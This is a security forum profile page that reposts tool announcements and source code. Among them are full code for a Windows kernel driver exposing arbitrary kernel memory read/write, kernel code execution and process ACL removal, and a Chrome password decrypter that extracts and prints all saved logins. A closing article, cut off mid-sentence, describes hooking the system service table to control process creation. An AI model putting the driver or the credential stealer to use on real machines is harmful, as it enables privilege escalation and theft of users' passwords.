Jump to content

Nytro

Administrators
  • Posts

    18715
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. [h=2]Lynis v1.5.7- Security auditing and hardening tool[/h]July 21st, 2014 Mourad Ben Lakhoua Hardening operating system is important to protect your environment against any compromise. one of the open source tools that you can use for hardening Unix and Linux based systems is Lynis. Lynis will run several hundreds of tests and perform an audit for your system so it will check the configuration files to find out if you have the correct configuration and report for what are the gaps you have on your systems. Lynis help you with taking the right measures and check the related controls and define your improvement plan this to meet security standards such as Basel II,GLBA,HIPAA , ISO27001/ISO27002, PCI-DSS and SOx (Sarbanes-Oxley). Lynis will make the compliance scan you need to evaluate your system against the standards so you can have a checklist with the action plan to properly harden your system. At the moment there are an open source version that you can use for security auditing,vulnerability scanning and system hardening. While you can find an enterprise version which adds more components for the compliance check and security. You can download Lynis over this link: Products - Security auditing/hardening of Linux and Unix systems Sursa: Lynis v1.5.7- Security auditing and hardening tool | SecTechno
  2. [h=2]Fino Android Security Assessment Tool[/h]February 2nd, 2014 Mourad Ben Lakhoua Security assessment tools have several ways for conducting the technical analyses. Fino is another program that you can use to run dynamic analyses for Android based application. The tool allows injecting services in the application for controlling and monitoring the change. The android application we want to verify will be running in emulator that is called gadget or what we call usually a sandbox and dynamically verify all changes on the system. Next it is possible to run python scripts to get or modify the services. You may get all target activities by running “activities =app.find(‘android.app.Activity’)“ the idea of monitoring services with the injection can make you monitor the application from inside and you will have details about the android application with more accurate results. Fino design in the slide deck the full pdf file over here: http://events.ccc.de/congress/2012/Fahrplan/attachments/2237_SmallFootprintInspectionAndroid-slides.pdf You can download Fino on the following link: https://github.com/sysdream/fino Sursa: Fino Android Security Assessment Tool | SecTechno
  3. [h=2]Volafox Mac OS X Memory Analysis Toolkit[/h] May 4th, 2014 Mourad Ben Lakhoua Volafox is an open source toolkit that you can use for Mac OS X and BSD forensics. The tool is a python based and allows investigating security incidents and finding information for malwares and any malicious program on the system. Security analyst can have the following information using this tool: MAC Kernel version, CPU, and memory specification Mounted filesystems Kernel Extensions listing Process listing Task listing (Finding process hiding) Syscall table (Hooking detection) Mach trap table (Hooking detection) Network socket listing (Hash table) Open files listing by process Show Boot information EFI System Table, EFI Runtime Services Print a hostname You can download the tool on the following link: https://code.google.com/p/volafox/ Sursa: Volafox Mac OS X Memory Analysis Toolkit | SecTechno
  4. [h=2]Fuzzware 1.5- Fuzzing Tool[/h] March 2nd, 2014 Mourad Ben Lakhoua Fuzzing is a process that is used during a penetration testing to find out if the application is vulnerable, the process come by sending incorrect data to the targeted application in order to cause a failure or an error situation that security analyst will use as a PoC in their report. Fuzzware is a generic fuzzing framework that can be considered for such operation. Fuzzware UI (click to enlarge) Fuzzware allows to make testcases as required: fuzz a file format such as XML file. fuzz network protocol or a network service by sending a predefined network packets. fuzz an interface that you need to test including web services. you can define a custom input that is coming from a code. You can download Fuzzware 1.5 over this link: download Sursa: Fuzzware 1.5- Fuzzing Tool | SecTechno
  5. [h=2]Pinpoint- Tool to find malicious objects[/h]August 31st, 2014 Mourad Ben Lakhoua Many online website host malwares or link to a malicious file without their knowledge. Normally this may takes some time to find out the compromised files. Pinpoint is a tool that you can use to scan and identify the infected files. The tool will list all external javascripts, javascript redirects or any iFrame on the targeted website. Pinpoint have the following options: Disable Compression – sends the HTTP request without the encoding option Enable Entropy – performs the entropy check Ignore Safe Sites – ignores common sites that host frameworks, ads, and other legitimate content so it doesn’t get downloaded Ignore CSS – ignores external CSS files so that it doesn’t get downloaded This tool will be useful especially if you are using external plugins that may contain a risk to visitors. you can download pinpoint over this link: Tools | Kahu Security Sursa: Pinpoint- Tool to find malicious objects | SecTechno
  6. Nytro

    binglide

    binglide is a visual reverse engineering tool. It is designed to offer a quick overview of the different data types that are present in a file. The screenshot bellow shows a small portion of the php5 binary that has a weird signature pattern: This tool does not know about any particular file format, everything is done using the same analysis working on the data. This means it works even if headers are missing or corrupted or if the file format is unknown. Sursa: https://github.com/wapiflapi/binglide
  7. [h=1]Driver for kernel memory access[/h]by zwclose7 This driver allows user mode applications to access kernel memory. It also allows user mode application to execute code in kernel mode. It has a DLL that allows user mode applications to access the driver. Features 1) Read and write kernel memory. 2) Execute code in kernel mode. 3) Allocate kernel memory. 4) Remove ACL from a process, allowing any user to access the process. Source code (driver) #include <ntifs.h> #include <ntddk.h> #define IOCTL_READWRITE_KERNEL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_GET_SYSTEM_ADDRESS CTL_CODE(FILE_DEVICE_UNKNOWN,0x801,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_EXECUTE_CODE CTL_CODE(FILE_DEVICE_UNKNOWN,0x802,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_ALLOC_KERNEL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN,0x803,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_FREE_KERNEL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN,0x804,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_ZERO_KERNEL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN,0x805,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_REMOVE_PROCESS_ACL CTL_CODE(FILE_DEVICE_UNKNOWN,0x806,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) typedef ULONG (NTAPI *PKERNEL_CODE)(PVOID); typedef enum _KERNEL_MEMORY_ACCESS { Read, Write }KERNEL_MEMORY_ACCESS,*PKERNEL_MEMORY_ACCESS; typedef struct _KMEM_ACCESS { KERNEL_MEMORY_ACCESS Operation; PVOID Address; PVOID Buffer; ULONG Length; }KMEM_ACCESS,*PKMEM_ACCESS; typedef struct _SYSTEM_ADDRESS_INFO { PWSTR Name; PVOID* Address; }SYSTEM_ADDRESS_INFO,*PSYSTEM_ADDRESS_INFO; typedef struct _KERNEL_CODE_EXECUTION { PKERNEL_CODE Address; PVOID Parameter; PULONG ReturnValue; }KERNEL_CODE_EXECUTION,*PKERNEL_CODE_EXECUTION; typedef struct _ALLOC_KERNEL_MEMORY { PVOID* Address; ULONG Length; }ALLOC_KERNEL_MEMORY,*PALLOC_KERNEL_MEMORY; UNICODE_STRING DeviceName,SymbolicLink; PDEVICE_OBJECT pDeviceObject; NTSTATUS ReadKernelMemory(PVOID Address,PVOID Buffer,ULONG Length) { if(!Length) { return STATUS_INVALID_PARAMETER; } __try { if(ExGetPreviousMode()!=KernelMode) { ProbeForWrite(Buffer,Length,1); } memcpy(Buffer,Address,Length); } __except(EXCEPTION_EXECUTE_HANDLER) { return GetExceptionCode(); } return STATUS_SUCCESS; } NTSTATUS WriteKernelMemory(PVOID Address,PVOID Buffer,ULONG Length) { if(!Length) { return STATUS_INVALID_PARAMETER; } __asm { cli mov eax,cr0 and eax,not 0x10000 mov cr0,eax } __try { if(ExGetPreviousMode()!=KernelMode) { ProbeForRead(Buffer,Length,1); } memcpy(Address,Buffer,Length); } __except(EXCEPTION_EXECUTE_HANDLER) { __asm { mov eax,cr0 or eax,0x10000 mov cr0,eax sti } return GetExceptionCode(); } __asm { mov eax,cr0 or eax,0x10000 mov cr0,eax sti } return STATUS_SUCCESS; } NTSTATUS DispatchCreateClose(PDEVICE_OBJECT DeviceObject,PIRP irp) { irp->IoStatus.Status=STATUS_SUCCESS; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS DispatchDeviceControl(PDEVICE_OBJECT DeviceObject,PIRP irp) { NTSTATUS status; PIO_STACK_LOCATION io; PKMEM_ACCESS kmem; PSYSTEM_ADDRESS_INFO AddressInfo; PKERNEL_CODE_EXECUTION CodeExec; PKERNEL_CODE Code; PALLOC_KERNEL_MEMORY alloc; UNICODE_STRING FunctionName; PEPROCESS Process; io=irp->Tail.Overlay.CurrentStackLocation; switch(io->Parameters.DeviceIoControl.IoControlCode) { case IOCTL_READWRITE_KERNEL_MEMORY: kmem=(PKMEM_ACCESS)irp->AssociatedIrp.SystemBuffer; switch(kmem->Operation) { case Read: status=ReadKernelMemory(kmem->Address,kmem->Buffer,kmem->Length); break; case Write: status=WriteKernelMemory(kmem->Address,kmem->Buffer,kmem->Length); break; default: status=STATUS_INVALID_PARAMETER; break; } break; case IOCTL_GET_SYSTEM_ADDRESS: AddressInfo=(PSYSTEM_ADDRESS_INFO)irp->AssociatedIrp.SystemBuffer; RtlInitUnicodeString(&FunctionName,AddressInfo->Name); *AddressInfo->Address=MmGetSystemRoutineAddress(&FunctionName); status=STATUS_SUCCESS; break; case IOCTL_EXECUTE_CODE: CodeExec=(PKERNEL_CODE_EXECUTION)irp->AssociatedIrp.SystemBuffer; __try { Code=CodeExec->Address; *CodeExec->ReturnValue=Code(CodeExec->Parameter); } __except(EXCEPTION_EXECUTE_HANDLER) { *CodeExec->ReturnValue=GetExceptionCode(); } status=STATUS_SUCCESS; break; case IOCTL_ALLOC_KERNEL_MEMORY: alloc=(PALLOC_KERNEL_MEMORY)irp->AssociatedIrp.SystemBuffer; *alloc->Address=ExAllocatePool(NonPagedPool,alloc->Length); status=STATUS_SUCCESS; break; case IOCTL_FREE_KERNEL_MEMORY: ExFreePool(*(PVOID*)irp->AssociatedIrp.SystemBuffer); status=STATUS_SUCCESS; break; case IOCTL_ZERO_KERNEL_MEMORY: __asm { cli mov eax,cr0 and eax,not 0x10000 mov cr0,eax } kmem=(PKMEM_ACCESS)irp->AssociatedIrp.SystemBuffer; memset(kmem->Address,0,kmem->Length); __asm { mov eax,cr0 or eax,0x10000 mov cr0,eax sti } status=STATUS_SUCCESS; break; case IOCTL_REMOVE_PROCESS_ACL: status=PsLookupProcessByProcessId((HANDLE)(*(PULONG)irp->AssociatedIrp.SystemBuffer),&Process); if(NT_SUCCESS(status)) { *(PVOID*)((PUCHAR)Process-sizeof(PVOID))=NULL; ObDereferenceObject(Process); } break; default: status=STATUS_INVALID_DEVICE_REQUEST; break; } irp->IoStatus.Status=status; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return status; } void Unload(PDRIVER_OBJECT pDriverObject) { IoDeleteSymbolicLink(&SymbolicLink); IoDeleteDevice(pDriverObject->DeviceObject); } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath) { RtlInitUnicodeString(&DeviceName,L"\\Device\\KernelMemoryAccess"); RtlInitUnicodeString(&SymbolicLink,L"\\DosDevices\\KernelMemoryAccess"); IoCreateDevice(pDriverObject,0,&DeviceName,FILE_DEVICE_UNKNOWN,FILE_DEVICE_SECURE_OPEN,FALSE,&pDeviceObject); IoCreateSymbolicLink(&SymbolicLink,&DeviceName); pDriverObject->MajorFunction[iRP_MJ_CREATE]=DispatchCreateClose; pDriverObject->MajorFunction[iRP_MJ_CLOSE]=DispatchCreateClose; pDriverObject->MajorFunction[iRP_MJ_DEVICE_CONTROL]=DispatchDeviceControl; pDriverObject->DriverUnload=Unload; pDeviceObject->Flags|=DO_DIRECT_IO; pDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; return STATUS_SUCCESS; } Source code (DLL) #include <Windows.h> #include "KrnlFuncs.h" HANDLE DeviceHandle; BOOL WINAPI ReadKernelMemory(PVOID Address,PVOID Buffer,ULONG Length) { ULONG i; KMEM_ACCESS kmem; kmem.Operation=Read; kmem.Address=Address; kmem.Buffer=Buffer; kmem.Length=Length; return DeviceIoControl(DeviceHandle,IOCTL_READWRITE_KERNEL_MEMORY,&kmem,sizeof(KMEM_ACCESS),NULL,0,&i,NULL); } BOOL WINAPI WriteKernelMemory(PVOID Address,PVOID Buffer,ULONG Length) { ULONG i; KMEM_ACCESS kmem; kmem.Operation=Write; kmem.Address=Address; kmem.Buffer=Buffer; kmem.Length=Length; return DeviceIoControl(DeviceHandle,IOCTL_READWRITE_KERNEL_MEMORY,&kmem,sizeof(KMEM_ACCESS),NULL,0,&i,NULL); } PVOID WINAPI GetSystemAddressW(LPWSTR Name) { ULONG i; PVOID Address; SYSTEM_ADDRESS_INFO AddressInfo; AddressInfo.Name=Name; AddressInfo.Address=&Address; if(!DeviceIoControl(DeviceHandle,IOCTL_GET_SYSTEM_ADDRESS,&AddressInfo,sizeof(SYSTEM_ADDRESS_INFO),NULL,0,&i,NULL)) { return NULL; } return Address; } PVOID WINAPI GetSystemAddressA(LPSTR Name) { ULONG i,Length; PVOID p; LPWSTR uName; Length=strlen(Name)+1*sizeof(wchar_t); uName=(LPWSTR)VirtualAlloc(NULL,Length,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); for(i=0;i<Length;i++) { uName=Name; } p=GetSystemAddressW(uName); VirtualFree(uName,0,MEM_RELEASE); return p; } ULONG WINAPI ExecuteCode(PKERNEL_CODE Address,PVOID Parameter) { ULONG i; KERNEL_CODE_EXECUTION CodeExec; ULONG ReturnValue; CodeExec.Address=Address; CodeExec.Parameter=Parameter; CodeExec.ReturnValue=&ReturnValue; if(!DeviceIoControl(DeviceHandle,IOCTL_EXECUTE_CODE,&CodeExec,sizeof(KERNEL_CODE_EXECUTION),NULL,0,&i,NULL)) { return -1; } return ReturnValue; } PVOID WINAPI AllocKernelMemory(ULONG Length) { ULONG i; PVOID Address; ALLOC_KERNEL_MEMORY alloc; alloc.Address=&Address; alloc.Length=Length; if(!DeviceIoControl(DeviceHandle,IOCTL_ALLOC_KERNEL_MEMORY,&alloc,sizeof(ALLOC_KERNEL_MEMORY),NULL,0,&i,NULL)) { return NULL; } return Address; } void WINAPI FreeKernelMemory(PVOID Address) { ULONG i; DeviceIoControl(DeviceHandle,IOCTL_FREE_KERNEL_MEMORY,&Address,sizeof(PVOID),NULL,0,&i,NULL); } void WINAPI ZeroKernelMemory(PVOID Address,ULONG Length) { ULONG i; KMEM_ACCESS kmem; kmem.Operation=Write; kmem.Address=Address; kmem.Buffer=NULL; kmem.Length=Length; DeviceIoControl(DeviceHandle,IOCTL_ZERO_KERNEL_MEMORY,&kmem,sizeof(KMEM_ACCESS),NULL,0,&i,NULL); } BOOL WINAPI RemoveProcessAcl(ULONG ProcessId) { ULONG i; return DeviceIoControl(DeviceHandle,IOCTL_REMOVE_PROCESS_ACL,&ProcessId,sizeof(ULONG),NULL,0,&i,NULL); } BOOL WINAPI DllMain(HMODULE hModule,DWORD dwReason,LPVOID lpReserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: DeviceHandle=CreateFile(L"\\\\.\\KernelMemoryAccess",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL); if(DeviceHandle==INVALID_HANDLE_VALUE) { return FALSE; } break; case DLL_PROCESS_DETACH: CloseHandle(DeviceHandle); break; } return TRUE; } [h=4]Attached Files[/h] KernelMemoryAccess.zip 380.47KB 45 downloads Sursa: Driver for kernel memory access - Source Codes - rohitab.com - Forums
  8. Author: Athenian (roman) Versiunea incarca dinamic SQLite si apeleaza dinamic functiile necesare. /*** Chrome password decrypter By Athenian ***/ #include <windows.h> #include <iostream> #include <ShlObj.h> using namespace std; #pragma comment(lib,"sqlite3") #pragma comment(lib,"crypt32") //Lets see where Google Chrome application is installed char * readRegistryValue(){ LPCSTR value = "Path"; HKEY hkey = NULL; char * sk = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe"; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,sk,0,KEY_READ,&hkey) != ERROR_SUCCESS) { return NULL; } char path[MAX_PATH] = {0}; DWORD dw = 260; RegQueryValueEx(hkey,value,0,0,(BYTE *)path,&dw); RegCloseKey(hkey); char *ret = new char[strlen(path)+1]; strcpy(ret,path); return ret; //delete[]ret; } char *Crack(BYTE *pass){ DATA_BLOB in; DATA_BLOB out; BYTE trick[1024]; memcpy(trick,pass,1024); int size = sizeof(trick) / sizeof(trick[0]); in.pbData = pass; in.cbData = size+1;//we can't use strlen on a byte pointer,becouse of the NBs,so we have to be tricky dicky:) char str[1024] = ""; if (CryptUnprotectData(&in,NULL,NULL,NULL,NULL,0,&out)){ for(int i = 0; i<out.cbData; i++) str = out.pbData; str[out.cbData]='\0'; return str; } else return NULL; //Error on decryption } //To get to Appdata\local bool getPath(char *ret,int id){ memset(ret,0,sizeof(ret)); if(SUCCEEDED(SHGetFolderPath(NULL,id | CSIDL_FLAG_CREATE,NULL,SHGFP_TYPE_CURRENT,ret))) return true; return false; } //SQLITE definitions #define SQLITE_OK 0 #define SQLITE_ROW 100 #define SQLITE_API typedef struct sqlite3 sqlite3; typedef struct sqlite3_stmt sqlite3_stmt; //SQLITE function pointers typedef int(SQLITE_API *fpSqliteOpen)(const char *, sqlite3 **); typedef int(SQLITE_API *fpSqlitePrepare_v2)(sqlite3 *, const char *, int, sqlite3_stmt **, const char **); typedef int(SQLITE_API *fpSqliteStep)(sqlite3_stmt *); typedef const unsigned char *(SQLITE_API *fpSqliteColumnText)(sqlite3_stmt*, int); typedef int(SQLITE_API *fpSqliteFinalize)(sqlite3_stmt *); typedef int(SQLITE_API *fpSqliteClose)(sqlite3 *); fpSqliteOpen sqlite3_open; fpSqlitePrepare_v2 sqlite3_prepare_v2; fpSqliteStep sqlite3_step; fpSqliteColumnText sqlite3_column_text; fpSqliteFinalize sqlite3_finalize; fpSqliteClose sqlite3_close; void main(){ //Load sqlite.dll HMODULE sqliteLib = LoadLibrary("sqlite3.dll"); if (sqliteLib){ //Lets find the functions in the dll sqlite3_open = (fpSqliteOpen)GetProcAddress(sqliteLib,"sqlite3_open"); sqlite3_prepare_v2 = (fpSqlitePrepare_v2)GetProcAddress(sqliteLib,"sqlite3_prepare_v2"); sqlite3_step = (fpSqliteStep)GetProcAddress(sqliteLib,"sqlite3_step"); sqlite3_column_text = (fpSqliteColumnText)GetProcAddress(sqliteLib,"sqlite3_column_text"); sqlite3_finalize = (fpSqliteFinalize)GetProcAddress(sqliteLib,"sqlite3_finalize"); sqlite3_close = (fpSqliteClose)GetProcAddress(sqliteLib,"sqlite3_close"); char *installPath = readRegistryValue(); if (installPath != NULL){ printf("Installed in: %s\n",installPath); //Now we have to call same sqlite functions to start decrypting this shit:) sqlite3_stmt *stmt; sqlite3 *db; char databasePath[260]; getPath(databasePath,0x1C); strcat(databasePath,"\\Google\\Chrome\\User Data\\Default\\Login Data"); char *query = "SELECT origin_url, username_value, password_value FROM logins"; //Open the database if (sqlite3_open(databasePath, &db) == SQLITE_OK) { if (sqlite3_prepare_v2(db, query, -1, &stmt, 0) == SQLITE_OK) { //Lets begin reading data while (sqlite3_step(stmt) == SQLITE_ROW) { //While we still have data in database char *url = (char *)sqlite3_column_text(stmt,0); char *username = (char *)sqlite3_column_text(stmt,1); BYTE *password = (BYTE *)sqlite3_column_text(stmt,2); //This is the only encrypted field printf("Url: %s\n",url); printf("Username: %s\n",username); char *decrypted = Crack(password); printf("Password: %s\n",decrypted); } } else printf("Error preparing database!\n"); sqlite3_finalize(stmt); sqlite3_close(db); } else printf("Error opening database!\n"); } else printf("Google Chrome is not installed!\n"); delete[]installPath; FreeLibrary(sqliteLib); } else printf("Necessary sqlite dll not found!\n"); cin.get(); } Sursa: Google Chrome password crack - Programming - rohitab.com - Forums
  9. Hooking the native API and controlling process creation on a system-wide basis Anton Bassov, 18 Oct 2005 How to hook the native API and control process creation on a system-wide basis. Download source files - 10.8 Kb Download demo project - 12.1 Kb Introduction Recently I came across the description of a quite interesting security product, called Sanctuary. This product prevents execution of any program that does not appear on the list of software that is allowed to run on a particular machine. As a result, the PC user is protected against various add-on spyware, worms and trojans - even if some piece of malware finds its way to his/her computer, it has no chance of being executed, and, hence, has no chance of causing any damage to the machine. Certainly, I found this feature interesting, and, after a bit of thinking, came up with my own implementation of it. Therefore, this article describes how process creation can be programmatically monitored and controlled on a system-wide basis by means of hooking the native API. This article makes a "bold" assumption that the target process is being created by user-mode code (shell functions, CreateProcess(), manual process creation as a sequence of native API calls, etc). Although, theoretically, a process may be launched by kernel-mode code, such possibility is, for practical purposes, negligible, so we don't have to worry about it. Why??? Try to think logically - in order to launch a process from the kernel mode, one has to load a driver, which, in turn, implies execution of some user-mode code, in the first place. Therefore, in order to prevent execution of unauthorized programs, we can safely limit ourselves to controlling process creation by user-mode code on a system-wide basis. Defining our strategy First of all, let's decide what we have to do in order to monitor and control process creation on a system-wide basis. Process creation is a fairly complex thing, which involves quite a lot of work (if you don't believe me, you can disassemble CreateProcess(), so you will see it with your own eyes). In order to launch a process, the following steps have to be taken: Executable file has to be opened for FILE_EXECUTE access. Executable image has to be loaded into RAM. Process Executive Object (EPROCESS, KPROCESS and PEB structures) has to be set up. Address space for the newly created process has to be allocated. Thread Executive Object for the primary thread of the process (ETHREAD, KTHREAD and TEB structures) has to be set up. Stack for the primary thread has to be allocated. Execution context for the primary thread of the process has to be set up. Win32 subsystem has to be informed about the new process. In order for any of these steps to be successful, all previous steps have to be accomplished successfully (you cannot set up an Executive Process Object without a handle to the executable section; you cannot map an executable section without file handle, etc). Therefore, if we decide to abort any of these steps, all subsequent ones will fail as well, so that process creation will get aborted. It is understandable that all the above steps are taken by means of calling certain native API functions. Therefore, in order to monitor and control process creation, all we have to do is to hook those API functions that cannot be bypassed by the code that is about to launch a new process. Which native API functions should we hook? Although NtCreateProcess() seems to be the most obvious answer to the question, this answer is wrong - it is possible to create a process without calling this function. For example, CreateProcess() sets up process-related kernel-mode structures without calling NtCreateProcess(). Therefore, hooking NtCreateProcess() is of no help to us. In order to monitor process creation, we have to hook either NtCreateFile() and NtOpenFile(), or NtCreateSection() - there is absolutely no way to run any executable file without making these API calls. If we decide to monitor calls to NtCreateFile() and NtOpenFile(), we have to make a distinction between process creation and regular file IO operations. This task is not always easy. For example, what should we do if some executable file is being opened for FILE_ALL_ACCESS??? Is it just an IO operation or is it a part of a process creation??? It is hard to make any judgment at this point - we need to see what the calling thread is about to do next. Therefore, hooking NtCreateFile() and NtOpenFile() is not the best possible option. Hooking NtCreateSection() is a much more reasonable thing to do - if we intercept a call to NtCreateSection() with the request of mapping the executable file as an image (SEC_IMAGE attribute), combined with the request of page protection that allows execution, we can be sure that the process is about to be launched. At this point we are able to take a decision, and, in case if we don't want the process to be created, make NtCreateSection() return STATUS_ACCESS_DENIED. Therefore, in order to gain full control over process creation on the target machine, all we have to do is to hook NtCreateSection() on a system-wide basis. Like any other stub from ntdll.dll, NtCreateSection() loads EAX with the service index, makes EDX point to function parameters, and transfers execution to KiDispatchService() kernel-mode routine (this is done by the INT 0x2E instruction under Windows NT/2000 and SYSENTER instruction under Windows XP). After validating function parameters, KiDispatchService() transfers execution to the actual implementation of the service, the address of which is available from the Service Descriptor Table (pointer to this table is exported by ntoskrnl.exe as the KeServiceDescriptorTable variable, so it is available to kernel-mode drivers). The Service Descriptor Table is described by the following structure: struct SYS_SERVICE_TABLE { void **ServiceTable; unsigned long CounterTable; unsigned long ServiceLimit; void **ArgumentsTable; }; The ServiceTable field of this structure points to the array that holds addresses of all the functions that implement system services. Therefore, all we have to do in order to hook any native API function on a system-wide basis is to write the address of our proxy function to the i-th entry (i is the service index) of the array, pointed to by the ServiceTable field of KeServiceDescriptorTable. Looks like now we know everything we need to know in order to monitor and control process creation on a system-wide basis. Let's proceed to the actual work. Controlling process creation Our solution consists of a kernel-mode driver and a user-mode application. In order to start monitoring process creation, our application passes the service index, corresponding to NtCreateSection(), plus the address of the exchange buffer, to our driver. This is done by the following code: //open devicedevice=CreateFile("\\\\.\\PROTECTOR",GENERIC_READ|GENERIC_WRITE, 0,0,OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM,0); // get index of NtCreateSection, and pass it to the driver, along with the //address of output buffer DWORD * addr=(DWORD *) (1+(DWORD)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateSection")); ZeroMemory(outputbuff,256); controlbuff[0]=addr[0]; controlbuff[1]=(DWORD)&outputbuff[0]; DeviceIoControl(device,1000,controlbuff,256,controlbuff,256,&dw,0); The code is almost self-explanatory - the only thing that deserves a bit of attention is the way we get the service index. All stubs from ntdll.dll start with the line MOV EAX, ServiceIndex, which applies to any version and flavour of Windows NT. This is a 5-byte instruction, with MOV EAX opcode as the first byte and the service index as remaining 4 bytes. Therefore, in order to get the service index that corresponds to some particular native API function, all you have to do is to read 4 bytes from the address, located 1 byte away from the beginning of the stub. Now let's look at what our driver does when it receives IOCTL from our application: NTSTATUS DrvDispatch(IN PDEVICE_OBJECT device,IN PIRP Irp){ UCHAR*buff=0; ULONG a,base; PIO_STACK_LOCATION loc=IoGetCurrentIrpStackLocation(Irp); if(loc->Parameters.DeviceIoControl.IoControlCode==1000) { buff=(UCHAR*)Irp->AssociatedIrp.SystemBuffer; // hook service dispatch table memmove(&Index,buff,4); a=4*Index+(ULONG)KeServiceDescriptorTable->ServiceTable; base=(ULONG)MmMapIoSpace(MmGetPhysicalAddress((void*)a),4,0); a=(ULONG)&Proxy; _asm { mov eax,base mov ebx,dword ptr[eax] mov RealCallee,ebx mov ebx,a mov dword ptr[eax],ebx } MmUnmapIoSpace(base,4); memmove(&a,&buff[4],4); output=(char*)MmMapIoSpace(MmGetPhysicalAddress((void*)a),256,0); } Irp->IoStatus.Status=0; IoCompleteRequest(Irp,IO_NO_INCREMENT); return 0; } As you can see, there is nothing special here either - we just map the exchange buffer into the kernel address space by MmMapIoSpace(), plus write the address of our proxy function to the Service Table (certainly, we do it after having saved the address of the actual service implementation in the RealCallee global variable). In order to overwrite the appropriate entry of the Service Table, we map the target address with MmMapIoSpace(). Why do we do it? After all, we already have an access to the Service Table, don't we? The problem is that the Service Table may reside in read-only memory. Therefore, we have to check whether we have write access to the target page, and if we don't, we have to change page protection before overwriting the Service Table. Too much work, don't you think? Therefore, we just map our target address with MmMapIoSpace(), so we don't have to worry about page protection any more - from now on we can take write access to the target page for granted. Now let's look at our proxy function: //this function decides whether we should //allow NtCreateSection() call to be successfull ULONG __stdcall check(PULONG arg) { HANDLE hand=0;PFILE_OBJECT file=0; POBJECT_HANDLE_INFORMATION info;ULONG a;char*buff; ANSI_STRING str; LARGE_INTEGER li;li.QuadPart=-10000; //check the flags. If PAGE_EXECUTE access to the section is not requested, //it does not make sense to be bothered about it if((arg[4]&0xf0)==0)return 1; if((arg[5]&0x01000000)==0)return 1; //get the file name via the file handle hand=(HANDLE)arg[6]; ObReferenceObjectByHandle(hand,0,0,KernelMode,&file,&info); if(!file)return 1; RtlUnicodeStringToAnsiString(&str,&file->FileName,1); a=str.Length;buff=str.Buffer; while(1) { if(buff[a]=='.'){a++;break;} a--; } ObDereferenceObject(file); //if it is not executable, it does not make sense to be bothered about it //return 1 if(_stricmp(&buff[a],"exe")){RtlFreeAnsiString(&str);return 1;} //now we are going to ask user's opinion. //Write file name to the buffer, and wait until //the user indicates the response //(1 as a first DWORD means we can proceed) //synchronize access to the buffer KeWaitForSingleObject(&event,Executive,KernelMode,0,0); // set first 2 DWORD of a buffer to zero, // copy the string into the buffer, and loop // until the user sets first DWORD to 1. // The value of the second DWORD indicates user's //response strcpy(&output[8],buff); RtlFreeAnsiString(&str); a=1; memmove(&output[0],&a,4); while(1) { KeDelayExecutionThread(KernelMode,0,&li); memmove(&a,&output[0],4); if(!a)break; } memmove(&a,&output[4],4); KeSetEvent(&event,0,0); return a; } //just saves execution contect and calls check() _declspec(naked) Proxy() { _asm{ //save execution contect and calls check() //-the rest depends upon the value check() returns // if it is 1, proceed to the actual callee. //Otherwise,return STATUS_ACCESS_DENIED pushfd pushad mov ebx,esp add ebx,40 push ebx call check cmp eax,1 jne block //proceed to the actual callee popad popfd jmp RealCallee //return STATUS_ACCESS_DENIED block:popad mov ebx, dword ptr[esp+8] mov dword ptr[ebx],0 mov eax,0xC0000022L popfd ret 32 } } Proxy() saves registers and flags, pushes a pointer to the service parameters on the stack, and calls check(). The rest depends on the value check() returns. If check() returns TRUE (i.e. we want to proceed with the request), Proxy() restores registers and flags, and transfers control to the service implementation. Otherwise, Proxy() writes STATUS_ACCESS_DENIED to EAX, restores ESP and returns - from the caller's perspective it looks like NtCreateSection() call had failed with STATUS_ACCESS_DENIED error status. How does check() make its decision? Once it receives a pointer to the service parameters as an argument, it can examine these parameters. First of all, it checks flags and attributes - if a section is not requested to be mapped as an executable image, or if the requested page protection does not allow execution, we can be sure that NtCreateSection() call has nothing to do with process creation. In such a case check() returns TRUE straight away. Otherwise, it checks the extension of the underlying file - after all, the SEC_IMAGE attribute and the page protection that allows execution may be requested for mapping some DLL file. If the underlying file is not a .exe file, check() returns TRUE. Otherwise, it gives the user-mode code a chance to take its decision. Therefore, it just writes the file name and the path to the exchange buffer, and polls it until it gets the response. Before opening our driver, our application creates a thread that runs the following function: void thread(){ DWORD a,x; char msgbuff[512]; while(1) { memmove(&a,&outputbuff[0],4); //if nothing is there, Sleep() 10 ms and check again if(!a){Sleep(10);continue;} // looks like our permission is asked. If the file // in question is already in the white list, // give a positive response char*name=(char*)&outputbuff[8]; for(x=0;x<stringcount;x++) { if(!stricmp(name,strings[x])){a=1;goto skip;} } // ask user's permission to run the program strcpy(msgbuff, "Do you want to run "); strcat(msgbuff,&outputbuff[8]); // if user's reply is positive, add the program to the white list if(IDYES==MessageBox(0, msgbuff,"WARNING", MB_YESNO|MB_ICONQUESTION|0x00200000L)) {a=1; strings[stringcount]=_strdup(name);stringcount++;} else a=0; // write response to the buffer, and driver will get it skip:memmove(&outputbuff[4],&a,4); //tell the driver to go ahead a=0; memmove(&outputbuff[0],&a,4); } } This code is self-explanatory - our thread polls the exchange buffer every 10 ms. If it discovers that our driver has posted its request to the buffer, it checks the file name and path 